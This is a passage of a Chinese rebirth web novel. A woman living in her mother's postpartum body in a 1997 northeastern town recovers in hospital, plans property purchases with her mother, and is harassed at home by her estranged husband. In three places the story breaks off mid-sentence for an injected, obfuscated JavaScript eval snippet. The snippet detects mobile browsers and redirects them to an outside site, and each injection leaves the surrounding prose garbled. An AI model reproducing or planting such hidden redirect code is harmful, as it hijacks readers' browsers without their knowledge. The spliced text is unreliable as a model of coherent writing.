杜涓暗喜,总算没认错人。 记忆中考上大学之后就再也没见过大姨了,听说是跟儿子出国定居了,也可能没有。 总之不确定,确定的只有上辈子杜涓跟姐姐并不亲。 然而这会儿的杜雨却跟杜涓很亲近似的:“不生我的气了吧?听妈说你要跟张强离婚啊?这就对了,姐早就说他不靠谱!” 豁,这大嗓门儿。 杜涓忍不住又扫了一圈病房,刚才劝她好好过的赵姨一脸欲言又止的便秘表情,她儿子一手抱着孩子,一手拉着她:“走了走了,还得办出院手续呢,后面的产妇还排队等着住呢。” 已经住满七天院的小李健步如飞地跟在后面,带着歉意地冲杜涓笑。 待这一家出了门,杜雨才感叹:“这哪是刚生完孩子啊,说她要去跑三千米都有人信。” “去!你懂什么!”梁凤至拍了杜雨一把,“你小妹脸皮薄,你当着别人面啥都往出咧咧,还怨她跟你生气?” “我小妹才不会跟我生气呢。”杜雨嬉皮笑脸,“是不是?” 这是并没有什么大的矛盾? 杜涓从善如流地点头,接受着来自杜雨的爱抚。 话说头发应该不知道几天没洗了,杜涓自己都能隐隐闻到头油味儿,杜雨也摸得下去手。 摸着摸着,杜雨难过起来:“我妹本来就不咋胖,现在更瘦了。” 气氛突然煽情,梁凤至连忙打岔:“你咋这么烦人呢?人家刚好了,你又招她。” “瘦还不好,我想瘦都瘦不下来。”杜雨隔着衣服捏肚皮,一捏一个游泳圈。 “没个正形!”梁凤至笑着打开杜雨的手,“王大志给你买吃的你就要,你不胖谁胖!” 听到王大志的名字,杜雨腾一下站起来:“对了,差点忘了,王大志说他下班在大排档等我!” 她伸出手腕看看表:“他六点下班,现在都快七点了!” 杜涓费劲地想上辈子她大姨夫是不是叫王大志,想不起来。 杜雨轻轻点了点杜涓的鼻子:“都赖你,我这半天啥也没干,就在这瞅你睡觉了!” 梁凤至插嘴:“那这一地的瓜子皮是谁嗑的?” “……” 杜雨无语,那不是等着怪无聊的,顺便嗑一下嘛。 她麻利地穿上大衣,把纱巾掖进衣领,还不忘嘱咐杜涓:“给你买的橙子,大夫要是说能吃你就吃点儿。那个奶粉是给我外甥女儿买的,你趁妈没看见,偷着给她弄点喝喝。” 她灵巧地一闪身,躲过梁凤至的胳膊肘,无视她“小孩喝什么奶粉”的嘟囔,接着跟杜涓说:“我跟你姐夫吃羊肉串去了啊,大排档新开了一家,可香了,可惜你吃不了……” 这次连杜涓都想用胳膊肘拐她了。 杜雨拎起包,高跟鞋“嗒嗒嗒”地走了。 梁凤至跟杜涓抱怨:“你姐都多大了,还没个大人样!” 又说:“哎,像你这样装小大人也不好,你们姐俩要是能匀和一下就好了。” 嘴上开着玩笑,梁凤至心里有点难过。 她的这两个女儿,大的出生的时候,革/命的冬风还没有吹到杜鹃河这个小山沟里。 家庭条件也殷实,杜雨每天吃吃喝喝,无忧无虑的。 而小的这个,本来也是个爱笑的小姑娘,但是看着各种各样的批斗与告发,看着自己的父亲浑身是伤地回家,自己又老是捂着她的嘴不让她乱说招祸。 不知道什么时候,她就开始变得沉默畏缩了。 可是一个人就像一粒沙,这也是没有办法的事情。 杜涓听不到梁凤至的心声,只深觉躺着也中枪,不过想想,以前见过大姨为数不多的几面里,大姨一直乐乐呵呵咋咋呼呼的,和整天皱着眉头的妈妈简直是相反的两个极端。 明明只差了三四岁,一起长大的姐妹,性格却截然相反。 七点刚过,梁凤至就困得头一点一点的了。 隔壁床铺迟迟没有人入住,杜涓就赶梁凤至去那边躺着睡。 梁凤至还是坚持着给孩子换了尿布,让杜涓给孩子喂了奶才去那边靠着了,还让杜涓听到孩子哭就叫醒她。 小婴儿其实很乖,除了有吃喝拉撒的需求之外,一声也不吭。 杜涓掩上衣襟,胸口还是很痛,奇怪,刚出生的婴儿明明没有长牙齿。 晚上八点钟,护士查过房之后也打着哈欠下班了。 临走之前护士把灯都熄了,只留门口一盏半亮不亮的黄色灯泡。 昏暗让病房更安静了,杜涓清楚地听到从很远的地方传来的火车汽笛声。 不知是不是白天睡多了,杜涓此刻异常清醒。 她胸口发胀,忍不住用手去碰。顺着往下,摸到了松松垮垮的肚皮,下腹部的刀口上还贴着纱布。 再往下摸,杜涓发现自己还插着尿管。 这具身体目前确实是她的,但是一切好像都不由她控制。 看了半宿的天花板,杜涓感觉自己刚睡着,就被噼噼啪啪的鞭炮声吵醒了。 天色半亮不亮的,才五点半。 梁凤至早就起了,正靠在床头看画报,见她醒了,对她说:“孩子真老实啊,知道心疼大人,半夜尿湿了芥子都没哭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543816|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 杜涓“哈哈”两声,示意梁凤至帮忙把孩子抱过来喂奶:“又不是过年,放什么炮?” “今天不是国庆节吗?”梁凤至指导着杜涓怎么抱孩子,“对,就这样,摔不着,别空着孩子的头……” 梁凤至把手放开的一瞬间,杜涓浑身肌肉都紧绷了。 明知道躺在床上摔不到孩子,却还是紧张得不敢喘气。 小婴儿什么也不知道,只是无师自通地寻找着食物来源。 六点整,医生来查房。这按按那按按,让杜涓又疼了一轮之后,又掏出冰凉的听诊器听心跳,最后说:“没啥大事了,上午再打一瓶葡萄糖,下午我来拔管,我要是忘了,你们就来产科办公室找我。” 说完,医生就要走,梁凤至也跟着站起身:“谢谢大夫了。涓啊,我去给你馇点粥,你再睡一会。” 目送梁凤至和医生走到门口时已经熟得像十年老朋友,杜涓转过头慢慢躺下,百无聊赖地逗孩子。 “小朋友,你瞪着大眼睛想什么呢?” 刚刚吃饱的婴儿似懂非懂地吐了个泡泡。 “我会让你过得超幸福的,这不是flag啊!” 杜涓说完这句,叹了口气。 回头想想,上辈子十八岁之前的日子可不是什么美好回忆。 既然有机会重来,杜涓不会让孩子再重蹈覆辙。 正准备睡个幸福的回笼觉,又有人进来了,是个戴眼镜的年轻医生:“你是杜涓吗?麻烦配合我们一下,填个表。” 手里被塞了两张薄薄的纸和一支按动油笔。 杜涓费力地稍微起身,眯着眼睛看纸上的字。 这竟然是一份抑郁测试表,跟上辈子张晓风上大学、工作面试时填的表差不多。 那会儿为了顺利入学、工作,基本是有多积极就填多积极,现在杜涓重新看这份测试表,却觉得自己至少这会儿情绪状态还不错。 你焦虑吗?没有;睡眠好吗?还行吧,如果早上没人放鞭炮就更好了。 杜涓填完,把表格连同笔交还给医生,又震惊地看着门口推进来一个巨大的仪器。 心电、血压测了半天,杜涓配合着检查,心里疑惑:难道这会儿的杜鹃河,产后抑郁预防已经如此完善了吗? 医生做完检查后潇洒离去,什么也没说,脸上也没什么表情。 隔壁床来了新的孕妇,后面跟着一堆家属,大包小包的,瞬间挤满了半个病房。 这会儿的医院还没有什么陪护规范,想来多少人陪护都可以。杜涓看其中一个人还掏出一副扑克,就知道这回笼觉肯定是睡不成了。 孕妇来跟杜涓搭讪:“妹子,你什么时候生的啊?顺产剖腹产?疼不疼啊?孩子多少斤?” “昨天早晨剖腹产生的,孩子是早产,才四斤多。” “那是有点太轻了,得好好补补。”孕妇的家人们也加入了聊天,“我们薇薇这几个月吃太多了,都怕孩子太胖,生着费劲。” “没事,实在不行就剖呗,呵呵,呵呵。” 杜涓心想说到怀孕她可就一问三不知了,谁叫自己是在孩子出生之后才接管的这身体呢。 还好梁凤至回来了,扛起了闲聊的大旗。 杜涓在一旁有一句没一句地听着,一边喝自己那寡淡的二米粥。 这里的米粥虽然比早餐外卖里的粥香多了,但是再香也是白粥啊! 杜涓泪奔,想吃盐,想吃糖,想喝去冰加奶盖的珍珠奶茶。 5. 第 5 章 起得够早,确实会使一天变长。 杜涓打完一瓶点滴,看着阳光从墙上一寸一寸移到床尾,才刚刚早上九点。 最初的混乱过后,杜涓抱着既来之则安之的心态,思考着未来的出路。 杜涓现在的年龄和穿越前的张晓风一样,都是二十四岁,接替去世父亲的职务,在加工厂工作已经七年了。 那个年代子女接替父母的职务还是被允许的,未成年就辍学工作的情况也屡见不鲜。 毕竟在家长看来,读书可能没什么用,工作却是实实在在的铁饭碗。 工作还不错,是坐办公室的文职,不用整天站在车间。 就算后来加工厂因为没有什么订单而衰落裁员,杜涓也没有被辞退,只是一直拿着不高的基本工资罢了。 其实这种工作是张晓风的理想工作来着。她没什么雄心壮志,只要工资够花有剩,工作清闲稳定就好。 上辈子在大城市打拼,更重要的原因只是远离家乡罢了。 重活一次,回到杜鹃河,其实也挺好的。 这里山清水秀,消费不高,房价极低,生活也没有很不方便,实在适合养老。 至于那些和城市里迥异的社交关系、人情往来,杜涓虽不着意融入,却也并不排斥。 何况…… 杜涓侧头看了看睡得正香的女儿。 这一次,她一定会让女儿快快乐乐地长大,成为上辈子那个她想成为,却没法成为的人。 长日无事,梁凤至已经和那个新来的孕妇薇薇的家人们吆五喝六地打起“升级”了。 薇薇由她丈夫扶着,在过道上不停地走来走去。 医生说,这样过会生产的时候会容易一些。 薇薇走一会就喊肚子疼,医生被叫来几次,最后都有些不耐烦了:“你这才哪到哪啊,要是真疼了,你还能在这来回溜达?一会你就知道了,疼得走不动了再叫我!” 薇薇嘟着嘴不说话,她的丈夫直给她作揖,“媳妇最厉害”“媳妇天下无敌”什么话都往外冒,听得杜涓直乐。 乐完了又想起自己,也不知道没有父亲的女儿,会有多少感到煎熬的时刻。 还没来得及叹气,小婴儿“哇哇”叫起来。 梁凤至丢下扑克牌帮她抱起孩子,杜涓就已经很熟练地给她喂奶,也不管有没有人看见了。 还好病房里的其他人都很体贴地转过头去。 杜涓喂完女儿,心情才后知后觉地低落起来。压下心头那种不适的感觉,就看见女儿冲自己张着嘴笑,还没笑完,就打了个奶嗝。 梁凤至笑着拍婴儿的背:“多招人稀罕呀!” 至少这会儿女儿很快乐。杜涓的不具名郁闷被治愈了大半,想抱过女儿贴贴,小家伙很不给面子地睡着了。 杜涓:…… 莫名有点羡慕这种除了吃就是睡的生活,虽然自己也不遑多让。 另一边,薇薇“哎呀哎呀”地叫起来,仰在床上捂着肚子。 她的丈夫跑去叫医生,医生简单检查了下,“可以生了。” 冲进来四个护士,把薇薇连人带床地整个推了出去。杜涓这才发现床腿居然是带轮子的。 还没惊讶完,医生就径直朝她走了过来:“杜涓是吧?正好来这屋,来我给你拔一下尿管。” 他不知道从哪掏出消毒的酒精纱布,把手伸进被底。 不知怎的,杜涓脑海里飘过不知在哪看到过的一句话,大意是,女人的尊严是在成为母亲后消失的。 反应过来的时候,医生已经在用卫生纸擦手了:“行了,整完了。家属没事搀着走走就行,我去手术室了。” “你忙着。”梁凤至道谢后扶起杜涓:“能不能走?” 杜涓心想,终于可以走路了,也算是收回了身体使用权的一部分呢。 结果坐起身时起猛了,眼前一阵金星乱冒。 杜涓吸取教训,一手撑着床头柜,一手搭着梁凤至,缓得不能再缓地起身。 臀部还没完全离开床铺,她就疼得坐了回去,结果一坐下更疼了。 梁凤至还在给她加油:“姑娘别怕,走两步就好了。” 杜涓毫无心理准备,第一次知道原来站起来这么难。 好歹由梁凤至架着走了几步,她才感觉到自己的腿。 梁凤至说:“没事,听说站起来这一下是最疼的,忍过去就好了。” 杜涓无语,你怎么不早说啊! 梁凤至扶着她去卫生间,马桶是蹲式的,杜涓在下蹲的时候再一次感到天旋地转。 无功而返,午餐仍旧是二米粥。杜涓抱怨:“啥时候能吃点别的啊……” 梁凤至想了想:“一个礼拜吧,下个礼拜给你煮点红糖鸡蛋。” 杜涓想吃煎蛋炒蛋,但过多的油应该对婴儿不太好吧,想想还是算了。 好像做母亲就天然要牺牲些什么,哪怕只是几顿饭也要为孩子着想。 杜涓以前从来没想过,产前产后如此遭罪的妈妈,是不是也曾经对自己有些怨怼呢? 上辈子张晓风常听妈妈抱怨父亲不管事、奶奶太难相处,至于孕期产期受的罪,则被她一句“受苦”带过。 现在的杜涓只知道,她竟然不曾因这两天的疼痛煎熬而对女儿产生什么消极情绪。 其实这种感觉也挺微妙的。 饭后薇薇躺在床上被推回来了。她的丈夫解释:“她一听说还得至少疼七八个小时才能生,就怯了,最后还是剖的。” 又过一会,孩子的奶奶抱回了孩子,是个足足七斤二两的男孩,脸颊上的肉胖嘟嘟的。 薇薇全家都高兴得不行,连杜涓都收到了一个小小红包。 她不好意思地道谢:“论理,我该给你们也发一个。” 薇薇的丈夫笑着摆手:“没事没事,没多少钱,大家沾沾喜气,沾沾喜气。” 杜涓在被子下拆开红包偷偷看,是一张蓝色的十元钱,正面印着两个头像,和后来张晓风习惯用的那种不一样。 薇薇的家人们已经在讨论孩子该叫什么了,一时间七嘴八舌,吵闹起来。 最后薇薇的丈夫力排众议:“孩子是十月一的生日,就叫国庆吧。” 大家纷纷赞同,说“这个好这个妙”。 杜涓嘴角微微抽动,这名字怎么说呢,太有时代感了。 他们起罢了名,又来问杜涓:“你家小孩叫什么呀?” “还没起呢。”杜涓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543817|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真没想过这个问题。 梁凤至拆台说:“说啥没起啊,我姑娘自从知道怀孕,就开始翻字典看诗集的,抄了一大本,咱也不知道是啥。” 杜涓微微呆滞,这事儿她这个后来者还真不知道,“哎呀,那都是瞎整的,再说我也没带过来。” 薇薇的家人们笑着应道:“不着急,孩子的大名跟他一辈子呢,这事得慎重。” 杜涓觉得他们给小孩起名叫“国庆”这事一点也不慎重。 下午杜涓正和梁凤至闲聊,也从她的口中一点点拼凑出现在的情况,上午来给杜涓做疑似抑郁检查的戴眼镜医生又来了。 他把梁凤至叫到一边,自以为小声地说:“你让我给产妇做的检查,各方面指标都正常,不用担心。你说产妇变得特别开朗,有可能是受了激素水平的影响,再说了,这也不是什么坏事。还有胡言乱语一类的症状,我看并不严重,如果观察到再有频发,你再找我就行。” 杜涓:…… 她都听到了…… 话说西贝货还是瞒不过亲妈的眼睛啊,其实梁凤至的担心也并非全无道理。 更何况,杜涓严重怀疑昨天对着婴儿叫妈的行为被梁凤至看到了。 梁凤至把医生送出病房之后回来,假装无事发生地坐回床头。 杜涓接着话茬,和她闲聊:“妈,我想在北京买个楼。” “啊?” 梁凤至放下刚打开盖子准备喝的保温杯,站起来说:“我想起我还有点事得问问刚才那个大夫。” 杜涓哭笑不得。 有个在这个时代就如此超前地关心女儿心理健康的妈,应该算是好事吧? 事实上,青中年女人抑郁自鲨的事,杜涓上辈子就听说过至少三四起,有一个好像还是妈妈的朋友。 她们的家庭,通常由不像话的丈夫、吸血的亲戚、无理的老人、不成器的子女等几个要素自由排列组合。 张晓风曾听自家老妈简明扼要地评论此类人群:不负责任。 张晓风不敢苟同。 问题是现在梁凤至看起来还挺在意这件事的,杜涓拉住她的衣袖,劝她说:“妈,不用担心我,我麻醉的时候做了个很长的梦,想开了。我就想自己过得好,你跟女儿过得好,就行了。” 梁凤至并没完全放下心来,这两天的杜涓跟以往比,实在是太反常了。 以前杜涓明明是个连话都不敢大声说的孩子,就连要跟张强结婚,都是张强来告诉自己的。 但那个精神科医生至少有一句话说得对,变开朗了,其实也不是坏事嘛。 梁凤至不是个反反复复的人,既然杜涓都这么说了,她也暂时不去纠结这件事:“那你跟妈说说,为啥突然想去北京买房,还要当播音员?” 杜涓一脸黑线,播音员这事纯属梁凤至臆想,自己虽然一直在进行东北话复健,但说话还是太“标准”了些。 至于买房,她自然没办法直说以后北京的房价会涨得让有房的人立刻发财。 “房子是升值的东西嘛,再说了,我也想给女儿一个好的环境,万一她以后在北京上大学呢?” 梁凤至被杜涓逗笑了:“孩子还不会说话呢,你都想到她上大学的事了?” 6. 第 6 章 梁凤至笑够了,并没有把这话再当作杜涓的信口胡说,而是原原本本地跟她盘起了家中的收入情况。 杜涓这两天在聊天中获得更多信息之后,也自己偷偷算过。 她目前的工资是一个月五百块左右,但架不住上班的年头多,之前的杜涓又俭省,这些年来应该也攒了不少。 加上结婚时候的礼金和娘家的补贴,也算是个万元户了。 上辈子上大学的时候听本地的同学说,1997年北京正处在取消福利分房的前夕,风言风语已经传遍大街小巷,也有不少人打起了卖掉单位分房,去购买条件更好些的商品房的大胆主意。 杜涓觉得十万块左右应该足够在北京买一套小一点的房子了。 位置偏僻些没关系,反正她知道以后哪些地方会变得繁华热门。 她不知道现在贷款的操作流程,但有房产在手,又有稳定工作,料想不会太难。 总的来说,如果有梁凤至的帮助,在北京买房应该并非无稽之谈。 就是有啃老的嫌疑…… 梁凤至却觉得不太行。 “你爸没了,咱们更应该照顾你奶奶,她年纪大了,肯定不愿意离开老家太远。再说了,到那边人生地不熟的,还要重新摸索、再找单位什么的,说实话我也觉得没意思。” 哦,对了,杜涓还有个奶奶,也就是张晓风的太奶奶,这位老人家她更是没见过几面,几乎可以算作是陌生人了。 不得不说,梁凤至的考虑完全基于房子的实际用途——居住。 杜涓正想再劝劝,梁凤至又说:“而且我要是给你买,能不再给你姐买吗?买上两套,到时候生活质量肯定不好,也没有可以周转应急的闲钱了。如果用我的名字买呢,又担心以后不好交割。” 杜涓心一沉,思考起来。 说实话她自认为自己不是那种打了鸡血似的奋斗的人,并不愿意为了房子吃糠咽菜数年。 提起在北京买房,也属于“有便宜不占王八蛋”式的一时上头,根本没考虑这房子该用来干嘛。 梁凤至想了想:“不过可以在省城买上两套一室,正好前几天我看见信用社在搞贷款活动,条件不高。” 省城作为全国最北端的地方之一,后来也变成了游客趋之若鹜的网红城市,房子有升值前景,而且离杜鹃河只有三四小时的汽车车程。以后开通了高铁,一天十多班车,不到一小时就到。 而现在,在这片只有绿皮火车的广袤冻土上,三四小时车程已经算近了。 杜涓反而不好意思起来:“妈,你还真计划上了,我就是随口说说。” 梁凤至夸杜涓:“这就叫积极听取有建设性的建议,计划计划咋了?赶明儿我去找信用社你宋姨打听打听。” 梁凤至风风火火的,第二天就打听到了,国家刚刚出了有关个人住房贷款的什么条例,银行也在搞活动配合,首付只交百分之三十就行了。 她对着杜涓一通抱怨:“宋秀丽这思想觉悟也太低了,听到我要贷款就一通劝我别办,说只有没有固定工作的二流子才覥脸找国家借钱,我可去她的吧!国家鼓励咱们贷款,还能是害咱们?” 宋秀丽就是“信用社你宋姨”吧,杜涓猜测。 杜涓也深觉离谱,这感觉就好像你特意去照顾朋友开的店生意,人家却把你拒之门外了一样。 梁凤至后来是去银行问的,银行的人一听说她要贷款,就把她领进了单独接待的贵宾室,还给她泡了茶。 “那茉莉花茶真香啊,上面漂着的花都是一朵一朵完整的。”梁凤至说。 她本来就觉得杜涓的建议不错,再被银行那边的人一忽悠,更觉得买房这事可行。 最后她费了老大劲才没当场贷款,而是决定等看到好的楼盘出售再说。 “听说省城的河边要盖商品房,你等着,我再打听打听。” 杜涓毫不怀疑梁凤至“打听打听”的能力,她觉得杜鹃河的人个个打听能力超群,之前的杜涓也是这样,只有张晓风例外。 在闲聊中七天很快就过去了,杜涓已经可以不太费力地自己走去卫生间,食谱也终于添上了鸡蛋蔬菜和瘦肉。 虽然还是没有盐,寡淡得不行。 没办法,梁凤至坚持坐月子一点盐都不能吃,又没有万能的网络,杜涓也无法查证这是不是伪科学。 在某些事情上,杜涓发现梁凤至也挺执拗的,像上辈子张晓风的妈。 执拗的梁凤至这七天里嗑了三斤瓜子,垃圾桶里永远都是满满的瓜子壳。有时候她和薇薇的家人凑伙聊天打牌吃炖肉,杜涓就在旁边看着。 这样的日子并不无聊,就是吃炖肉的时候杜涓和薇薇相对无言,都挺想哭。 杜涓和薇薇也混熟了,薇薇大名葛薇薇,让杜涓总是想起某部动画片里穿绿白水手服的少女。 她的性格也挺像那位少女的,有一天张强来“诚恳道歉”,她愣是骂得他把家门钥匙都交出来了。 真乃神人也。 告别的时候杜涓和葛薇薇都很舍不得,但是杜涓家里还没安固定电话,两个人很难再联络。 “我家是前进林场的,以后再来市区,我肯定来找你,老妹儿你别不搭理我呀。”葛薇薇攥着杜涓的手不放。 杜涓确定上辈子妈妈没再和这个人联系过,或许根本没遇见也说不定,但是交个新朋友也不坏。 “姐,你要是有事,一定来加工厂核算办公室找我。” 杜涓走出加工厂附属医院的大门,还能看见葛薇薇在楼上招手。 她两手万分谨慎地抱着孩子,没有空闲,就冲楼上点了点头。 医院门口停了不少等着揽客的三蹦子。 三蹦子是一种载客三轮车,车顶上有半个车蓬,车篷下垂着破破烂烂的塑料布。后座能坐俩人,挤一挤能坐仨,一车五毛钱,路途远的另算。 上辈子没少坐这玩意儿,虽然已经在记忆深处尘封不知道多久,她还是一下子就记起乘坐规则。 “坐这个吧。” 杜涓还在搜寻塑料布相对完整的三蹦子,梁凤至已经拦下一辆面包车,正把住院用的锅碗瓢盆被褥衣服往车上搬。 面包车司机回头看了看车厢:“你这都占了我拉人的地方了,三块钱啊。” 这种面包车是按人头计费的,随叫随停。 车的前挡风玻璃后面立着目的地方向的标牌,表示这辆车这一趟的行驶方向。梁凤至拦下的这辆,标牌上写着“四中”。 杜涓和张强住的楼房离四中不远。 杜涓把女儿递给梁凤至,再自己跨上面包车,一上车就闻到一股熟悉的汽油味。 不记得这两种车是什么时候消失的,后来杜鹃河的马路上就只剩统一涂装的公交车和出租车了。 梁凤至说:“我昨天去楼上看了,张强他们把能搬走的东西都搬走了。搬走就搬走吧,他倒不磨叽,没赖着不走。我把门锁换了,一会到家给你钥匙。” 杜涓贪看着窗外熟悉的街景,心不在焉地答应着。 司机又从后视镜里看了看后车厢:“大姐,你这是抱孙子了?” 梁凤至就跟司机搭起话来:“是我外孙女。长得可可人意了,可惜没摊上个好爹。” 杜鹃河并不大,杜涓感觉坐下没十分钟就下车了。 下车的时候,她已经可以完整地画出司机家的人际关系图了。 司机跟梁凤至正唠得过瘾:“大姐,难得咱俩投缘,这一路也没别的客,就收你两块吧。” 梁凤至向司机要了张名片:“行,谢谢你大哥,以后要用车我一定找你!” 她把名片收进包里时,杜涓看见里面一沓相同款式的名片,佩服得五体投地。 这里是张晓风从小住到大的家,杜涓并不觉得陌生,甚至意外觉得楼还挺新的。 加工厂出资盖的七层板楼,杜涓家住七楼,当然没有电梯。 梁凤至在前头扛着两个大包、拎着暖水瓶和水盆健步如飞。 杜涓只抱着女儿,走上一层就要歇上一会儿。 杜鹃河十月份的天就冷起来了,杜涓穿的薄棉袄,到七楼时感觉出了一身汗。 进了房间,果然家徒四壁。 张强他们家估计是想最后占点便宜,居然把床垫子都搬走了!书柜的门也被他们卸了,真不知道是怎么搬下楼去的。 不幸中的万幸是,书柜里的书还原封不动地堆在里面,可能张强觉得废纸又沉又不好卖钱。 杜涓知道书堆里面有她原身的日记,她还是张晓风的时候曾经偷看过,不过还没翻几页就被妈妈发现了,还挨了揍。 梁凤至马不停蹄地把医院带回来的被褥暂且铺在床上:“凑合歇一会吧,我去平房那边取点东西,要不实在是没法住人。” 张强不愿意跟长辈住,所以杜涓结婚后梁凤至就住在分房之前住的老平房里。 “暖壶里还有水,你渴了就找个杯喝。干净的芥子我给你拿出来了,换下来的就扔在盆里,等我回来洗,你现在不能沾水。” 梁凤至说完就匆忙走了。 家里的表停了,张强可能以为表是电池的就没拿走,其实那表是老式发条的。 杜涓给表紧上弦,一阵叮叮咣咣胡乱报时过后,她才想起自己现在没有手机,根本不知道确切的时间。 算了。 杜涓躺回床上,孩子现在还不会爬,床又够大,不用担心她滚到地上,杜涓只用一只手虚虚地拢着她。 最新的一本日记就扔在床头的地上,谢谢张强把床头柜搬走的时候没有顺便带走它。 绿色胶皮套着的本子,第一页印着东方明珠的彩色照片。 杜涓从有字的最后一页往前翻,没多久就发现自己早就买好了婴儿车、婴儿床,张强那个该死的竟然把这些也都搬走了! 也不知道他啥时候能用上。 然后是几页草草的流水账,每天干了什么,吃了什么,花了多少钱。 杜涓惊讶地发现她之前花钱还挺大手大脚的。比张晓风记忆中大方得多。 比如她买了英雄的金笔,和丝绸的领带。下面还有小字:“生日礼物。强24岁了,本命年,希望我俩年年都平安,岁岁长相见。” 啧啧啧,文艺少女。 杜涓嘴角抽搐,再往前翻,一整页都是乱七八糟的诗词集锦。 她颠来倒去读了半天,才明白这就是梁凤至提到的,“翻遍古书和辞典”想出的名字们。 杜涓的原身起名字的时候显然考虑到了孩子的姓氏,什么“张扬”“张弛”“张灯”看得她直皱眉。 很快她就看见了备选的“张晓风”,下面的小字写着“今宵酒醒何处?杨柳岸、晓风残月。”是柳永的词。 但她明明记得之前问妈妈自己的名字是什么意思,妈妈只说“你是早晨出生的,要做讲文明树新风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543818|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的好孩子。” 妈妈好像非常不好意思承认她是个文艺青年。 杜涓并不打算让孩子姓张,也不打算用“晓风残月”这种从离别词句里摘出来的名字。 心念一动,她想去书柜那边翻翻书,重新思考一下女儿该叫什么。 可惜女儿并不懂杜涓的苦心,她突然尖锐地哭起来,吸引杜涓的注意。 杜涓就知道又该换尿布了。话说这种重复使用的尿布虽然环保但实在麻烦,她想,下次要托梁凤至买些纸尿裤了。 也不知道这会儿有没有纸尿裤,贵不贵。杜鹃河第一家真正意义上的大超市好像在二零零几年才开业,那时候她都有记忆了。 梁凤至过了很久才回来,“你奶奶的姐夫去世了,刚才特意去平房报丧,幸好让我撞上了,没叫他们扑个空。” 她一边收拾带回来的东西一边说,老人家九十多岁了,是喜丧,按习俗应该去吊唁一下。 他们住在解放林场,汽车一个多小时的车程,梁凤至准备明天傍晚出发,后天中午回来。 杜鹃河不是连绵成片的城市,大片山林中间星罗棋布的林场是建国初期建设工业基地时的产物,也成为了现在居民们的聚居地。 相对地,从市区到林场,或者林场之间通行,就没有那么方便。 “我记得去解放林场的大客车只有下午五点的一班,只能在他们家住一宿了,也顺便帮帮忙。” 杜涓并不在意,甚至有点高兴,终于可以叫外卖改善一下伙食……等等,好像没有外卖。 梁凤至不让杜涓干一点活:“你千万别沾水,别累着,芥子足够用一天一宿的,你都放着等我回来再洗。饭我给你做好放橱柜里,你到时候热热就能吃。” 杜涓目瞪口呆地看着梁凤至从一个看起来不大的袋子里掏出一口大铁锅,再从铁锅里拿出一摞大小不一的碗,“等会还得打电话买个新煤气罐,张强真不嫌累啊,煤气罐都扛下去了。” 梁凤至说做就做,立刻去隔壁借电话。 片刻回来,说:“隔壁邻居换人了,是个年轻的大小伙子,跟你一样想当播音员。” 关于播音员杜涓已经无力吐槽了。对自己家邻居曾经是谁,杜涓也印象不深。 好像是一对中年夫妇来着?也在加工厂上班。 梁凤至已经八卦起来:“说是你谢叔的大侄子,之前在北京念书,毕业打申请,分配到咱们这儿当公务员。” 杜涓诧异:“从北京申请分配到这儿?他是多想振兴东北老工业基地啊?”是有多想不开啊? “什么老工业基地……”梁凤至捅杜涓:“浓眉大眼的,我看他那大个儿有一米八!就是有点瘦,跟竹竿似的。我问了还没对象……” 杜涓满脸黑线:“妈,我还没离婚呢……” 梁凤至嘿嘿一笑,不接茬了,转而说起回去参加葬礼的安排:“我早点回来,你明天把门锁好了,从里面反锁啊,我怕张强那个小兔崽子又来闹事。” 杜涓也害怕,隔天梁凤至走之前,她让她在门上贴满传单,营造出没人回来的假象,再把两道大门都反锁,拉上防盗链。 她家没有安防盗门,能做的也就是这些了。 然而怕什么来什么,天一擦黑,杜涓就听见有人砸门。 “杜涓!你别躲在屋里不出声,我知道你在家!灯都亮着呢,你糊弄谁呢!” 对于这个纰漏,杜涓也没办法,她又不能摸黑热饭。 但她并不太担心,她知道张强最好面子,为了不惊动左邻右舍,他连吼声都控制了音量。 谁知道这个性转版雪姨十分锲而不舍,一敲就是十多分钟。 这样下去没完没了,杜涓心烦意乱,想把靠近屋里的这道门拉开,从大门的猫眼看看他是不是独自来的。 如果是的话,她想想怎么把他哄走。 谁知摘下门链的时候大意了,铁链底端坠着的小铁球重重敲在门上,咚的一声。 张强好像也听见了,顿了一顿,敲门的声音更大了。 “开门开门,赶紧开门!……媳妇啊,我错了,你就让我进去吧,我保证以后再也不……” 他用万分真诚的语气道起歉来。 杜涓把手放在门板上,能感觉到隔着几层胶合板的剧烈震动。 虽然张强确实是独自来的,她也开始害怕了。 老式的门使劲一踹就开,张强再手无缚鸡之力也是个男性青年,和自己体力悬殊,一旦他想做什么,她没有任何办法。 外面还在边敲门边叫:“媳妇,媳妇你不会出什么事了吧,媳妇我来救你了,我要踹门了——” 